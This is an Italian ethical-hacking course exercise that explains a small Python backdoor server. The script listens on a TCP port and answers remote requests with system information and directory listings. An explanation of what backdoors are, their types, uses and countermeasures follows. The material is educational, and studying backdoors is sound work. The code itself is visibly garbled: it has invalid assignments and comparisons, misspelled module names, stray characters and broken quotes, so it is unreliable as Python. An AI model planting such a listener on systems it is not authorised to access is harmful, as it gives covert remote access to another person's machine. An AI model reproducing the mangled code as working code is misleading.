L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Cyber Security & Ethical Hacking Esercizio: backdoor Inoltre spiegare cos'è una backdoor.

```
SRV_ADDR="" # Indirizzo e porta del server
SRV_PORT=1234
# Creazione del socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# Associazione del socket all'indirizzo e alla porta specificati
s.bind((SRV_ADDR,SRV_PORT))
# Il server si mette in ascolto di connessioni in ingresso (massimo 1 in coda)
s.listen(1)
# Accettazione di una connessione in ingresso
connection,addres==s.accept()
print("client connected:",address)
# Ciclo infinito per gestire le richieste del client
while 1:
try:
# Ricezione di dati dal client
data=connection.recv(1024)
except:continue
  # Se il client invia '1', invia informazioni sul sistema
if(data.decode('utf-8')='1'):
tosend=plataform.plataform()+" "+plataform.machine()
connection.sendall(tosend.encode())
# Se il client invia '2', invia la lista dei file in una directory specificata
elif(data.decode('utf-8')='2'):
data=connection.recv(1024)
try:
filelist=os.listdir(data.decode('utf-8))
tosend=" "
```

```
for x in filelist:
tosend+=!,”+x
except:
tosend=”Wrong path”
connection.sendall(tosend.encode())
# Se il client invia '0', chiude la connessione e ne accetta una nuova
elif(data.decode(‘utf-8’)=’0’):
connection.close()
connection,address=s.accept()
```

Spiegazione del codice

Import delle librerie necessarie:

socket: per la comunicazione di rete.

Platform:per ottenere informazioni sul sistema.

Os: per operazioni di sistema come la lista dei file.

Configurazione del server:

SRV_ADDR:è l'indirizzo IP del server (lasciato vuoto per ascoltare su tutti gli IP disponibili).

SRV_PORT: è la porta su cui il server ascolterà le connessioni.

Creazione e configurazione del socket:

Creazione di un socket TCP/IP.

Associazione del socket all'indirizzo e alla porta specificati.

Il server inizia ad ascoltare le connessioni in arrivo.

Gestione delle connessioni

Il server accetta una connessione in arrivo.

Inizia un ciclo infinito per gestire le richieste dal client.

Gestione delle richieste del client:

Se il client invia '1', il server risponde con informazioni sul sistema.

Se il client invia '2', il server riceve una directory e invia la lista dei file in quella directory.

Se il client invia '0', il server chiude la connessione corrente e ne accetta una nuova.

Inoltre spiegare cos’è una backdoor.

Una backdoor è un metodo di accesso nascosto in un sistema informatico, applicazione software o rete, che consente a una persona non autorizzata di bypassare le normali misure di sicurezza. Questi accessi nascosti possono essere inseriti intenzionalmente dai progettisti per vari motivi legittimi o, più comunemente, da cybercriminali per ottenere accesso remoto non autorizzato a sistemi vulnerabili.

Caratteristiche Principali:

Accesso Non Autorizzato: Le backdoor permettono di accedere ai sistemi senza utilizzare le normali procedure di autenticazione.

Nascoste: Sono progettate per essere invisibili agli utenti e agli amministratori di sistema, rendendo difficile il rilevamento.

Controllo Remoto: Spesso permettono il controllo remoto del sistema compromesso, consentendo agli attaccanti di eseguire comandi, rubare dati, o installare ulteriori malware.

Tipi di Backdoor:

Software Backdoor: Inserite nel codice di un software o di un sistema operativo. Possono essere parte di applicazioni legittime o introdotte da malware.

Hardware Backdoor: Integrate nei componenti hardware, come schede madri o processori.

Firmware Backdoor: Incorporate nel firmware di dispositivi, come router o altri dispositivi di rete.

Utilizzi Comuni:

Test di Sicurezza: Gli sviluppatori possono utilizzare backdoor per testare la sicurezza di un sistema durante la fase di sviluppo.

Accesso di Emergenza: In alcuni casi, le backdoor possono essere inserite per consentire l'accesso di emergenza in caso di problemi critici.

Attacchi Malintenzionati: I cybercriminali utilizzano le backdoor per mantenere l'accesso a sistemi compromessi, rubare informazioni sensibili o lanciare ulteriori attacchi.

Rischi e Contromisure:

Rischi: Le backdoor rappresentano una grave minaccia alla sicurezza, poiché permettono accessi non controllati e possono essere utilizzate per scopi dannosi.

Contromisure: Implementare robuste pratiche di sicurezza, come l'uso di software di sicurezza aggiornati, regolari audit di sicurezza, monitoraggio delle reti e analisi del comportamento delle applicazioni per rilevare attività sospette.